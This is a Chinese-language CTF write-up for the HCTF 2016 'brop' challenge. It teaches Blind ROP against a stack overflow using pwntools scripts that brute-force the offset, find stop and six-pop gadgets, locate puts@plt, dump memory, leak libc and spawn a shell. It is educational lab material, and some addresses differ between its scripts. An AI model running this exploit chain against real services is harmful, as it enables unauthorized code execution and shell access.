pwn_hctf2016-brop_writeup
真能想啊,这rop玩的真是花。
0x01 从源码出发:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <unistd.h> #include <string.h> int i; int check(); int main(void){ setbuf(stdin,NULL); setbuf(stdout,NULL); setbuf(stderr,NULL); puts("WelCome my friend,Do you know password?"); if(!check()){ puts("Do not dump my memory"); }else { puts("No password, no game"); } } int check(){ char buf[50]; read(STDIN_FILENO,buf,1024); return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"); }
|
源码可以说非常简单了,问题是这个题不提供二进制文件,也就是Blind_ROP,我们学习这种rop,就从这题出发:
0x02 确定返回地址
首先要确定返回地址与溢出串的距离,通过枚举填充的方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import* def getsize(): i = 1 while 1: try: p = remote('127.0.0.1',9999) p.recvuntil("WelCome my friend,Do you know password?\n") p.send(i*'a') data = p.recv() p.close() if not data.startswith('No password'): return i-1 else: i+=1 except EOFError: p.close() return i-1
size = getsize() print "size is [%s]"%size
|
0x03 信息泄露
一、寻找stop_gadget
理解这一步,我们不需要理解为什么要找stop_gadget,我们只需要理解什么是stop_gadget,怎么找就可以,等我们找到了,下一步自然就会告诉我们为啥需要这个。
那么首先,什么是stop_gadget。
所谓stop gadget
一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态(也就是程序不崩溃,跳转过来就不动了)。说白了,我认为这个stop_gadget就是找到一个跳转过去不会崩溃的程序片段。
然后,我们如何找到一段如上文描述的gadget呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * length = 72 def getStopGadgets(length): addr = 0x400000 while 1: try: sh = remote('127.0.0.1',9999) payload = 'a'*length +p64(addr) sh.recvuntil("know password?\n") sh.sendline(payload) output = sh.recvuntil("password?\n") sh.close() print("one success addr 0x%x:" % (addr)) if not output.startswith('WelCome'): sh.close() addr+=1 else: return addr except Exception: addr+=1 sh.close() stop_gadgets = getStopGadgets(length) print stop_gadgets
|
也就是说,这里的poc实际是在找main函数的起始地址,我们运行一下,就可以找到main函数的开始地址。
但是main函数的开始地址又有什么用呢
二、stop_gadgets利用的思路
首先,我们下一步要做什么,因为什么地址都看不到,我们肯定是要找一些比较通用的函数进行信息泄露,同时我们调用函数也需要使用x64下的寄存器传参,很自然的就想到了**__libc_csu_init**,这个函数真的太重要了。有了他,我们才能泄露寄存器,才能进行的下去,而且他还有一个重要的特征:6个连续的pop。
要找到这个函数(实际我们找的就是最后的六个pop),我们肯定也是进行爆破,但是存在的问题是,我们如何爆破:
如上图,下面一串是我们的输入,假设我们从头开始遍历(遍历的方式就是根据刚刚得到的偏移量覆盖返回地址),遍历到了gadget,其内容是:pop %rdi; ret;
把这句话的地址覆盖了返回地址,然会执行了,执行完了pop之后执行ret(等于pop %rsi),直接就跳到了箭头所指的那个无效地址0xdead,程序崩溃了,没有任何回显,我们压根就不知道刚刚发生了啥。
于是天才的大哥想到了一个方法,如果我们能够知道程序中的一个gadget,这个gadget的代码的效果就是让这个程序停住,不继续执行,也不崩溃,就可以达成图二的效果(注意,图二中原图是不正确的,我个人认为应该把另外两个位置改为0xdead才可以,见红色字):
依然是同一个内容是:pop %rdi; ret;
的片段,我们把返回地址改为这个片段的地址,然后pop弹了一个,之后ret了,正好到了这个停止位,程序停住了,没有崩溃,这就说明曾经执行了pop %rdi; ret;
的片段,虽然不能确定一定是pop %rdi;
,有可能是pop其他寄存器,比如pop %rax; ret;
也能让程序停下来。或者还有可能不只是一句pop,有可能还有其他代码的存在,只是对结果没有影响,但是我们大概能做一个类似的判断,也就是这段代码里可能类似pop %rdi; ret;
。
这时候,你会说,这有啥用,这一句代码是pop %rdi; ret;
的概率很低,很有是有其他代码干扰的内容。你说的对,但我们要找的不是pop %rdi; ret;
。我们要找的是**__libc_csu_init函数中的六连pop片段!如果说,一个pop的gadget很容易有代码类似,那如果上图中间的dead变成了六个0xdead**,必须精准的pop六次,才能达到正确的stop地址,就不那么容易相似了。
也就是说我们通过这种设置stop_gadget的方法,可以遍历(猜测)出**__libc_csu_init**函数中六连pop片段的位置!
三、寻找__libc_csu_init片段
我们明白了上面的原理,手中还有main的起始地址作为我们的gadget,直接就可以开始爆破__libc_csu_init的6pop片段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import *
def get_brop_gadget(length, stop_gadget, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\n') payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 sh.sendline(payload) content = sh.recv() sh.close() print content return True except Exception: sh.close() return False
def check_brop_gadget(length, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\n') payload = 'a' * length + p64(addr) + 'a' * 8 * 10 sh.sendline(payload) content = sh.recv() sh.close() return False except Exception: sh.close() return True
length = 72
stop_gadget = 0x4005c0 addr = 0x400000
while 1: print hex(addr) if get_brop_gadget(length, stop_gadget, addr): print 'possible brop gadget: 0x%x' % addr if check_brop_gadget(length, addr): print 'success brop gadget: 0x%x' % addr break addr += 1
|
这里的脚本顺利执行后,我们就有了比较关键的6pop_gadget,我们能拿他干什么呢,首先肯定是我们可以控制本身的六个寄存器,rbx,rbp,r12,r13,r14,r15 。在学习csu_rop的时候,我们知道如果手动修改偏移来裁剪汇编代码,我们还可以达成:
pop rsi; pop r15;ret;
和pop rdi; ret;
的效果。
这个就比较牛逼了,可以控制函数的前两个传参,可以说非常重要了。
0x04 控制put函数
一、实现put函数的自由调用
要实现对于put函数的自由调用,首先要找到其plt表的地址,加上我们的传参能力,就可以实现调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
length = 72 stop_gadget = 0x4005c0
def get_puts_addr(length, rdi_ret, stop_gadget): addr = 0x400500 while 1: print hex(addr) sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\n') payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget) sh.sendline(payload) try: content = sh.recv() if content.startswith('\x7fELF'): print 'find puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exception: sh.close() addr += 1
brop_gadget=0x4007ba rdi_ret=brop_gadget+9 get_puts_addr(72,rdi_ret,stop_gadget)
|
put函数(实际是put函数的plt表项)的位置找到了之后,我们就能顺利的实现put函数的调用了,这时候我们实际就实现了任意读!
二、dump程序源码
下面只需要调用put,获取到put函数的got表地址,进而读取put函数的got表值。
原解析是吧整个程序从0x400000开始全部dump了出来,这样完全没有任何必要,我们从put.plt前的以0为结尾的第一个地址dump就可以了,即从0x400550开始dump,为了dump全,我们可以dump到0x400570。
注:解释一下为什么不直接从0x400555开始,这是因为64位程序段的解析必须从16的倍数,也就是最后一位为0的地址开始。
dump程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget): sh = remote('127.0.0.1', 9999) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64( puts_plt) + p64(stop_gadget) sh.recvuntil('password?\n') sh.sendline(payload) try: data = sh.recv() sh.close() try: data = data[:data.index("\nWelCome")] except Exception: data = data if data == "": data = '\x00' return data except Exception: sh.close() return None
length = 72
stop_gadget = 0x4005c0
brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9
puts_plt = 0x400555 addr = 0x400550 result = "" while addr < 0x400570: print hex(addr) data = dump(length, rdi_ret, puts_plt, addr, stop_gadget) if data is None: continue else: result += data addr += len(data) with open('code', 'wb') as f: f.write(result)
|
搞一个文件出来,丢进ida,把起始段地址设为0x400550:
狂按u把所有被解析为代码的内容转化为数据,然后在0x400555处按c,转化为数据如上图所示,得到put函数的got表位置是0x601018(注意这里我们得到的是got表中put项的地址,不是put项的值)。
也就是说,我们要泄露put函数的真实地址,需要输出储存在0x601018这个地址上的值。
0x05 最终getshell
我们通过上一步泄露的put函数的got表地址,通过got输出其中的值,就能够泄露put动态链接库地址,进而使用libcsearcher泄露libc基地址,最终达成调用,至此,这题就成为了一个最基础的roplibc了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * from LibcSearcher import *
sh = remote('127.0.0.1', 9999)
length = 72
stop_gadget = 0x4006b6
brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9
puts_plt = 0x400560
puts_got = 0x601018
sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64( stop_gadget) sh.sendline(payload) data = sh.recvuntil('\nWelCome', drop=True) puts_addr = u64(data.ljust(8, '\x00')) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64( system_addr) + p64(stop_gadget) sh.sendline(payload) sh.interactive()
|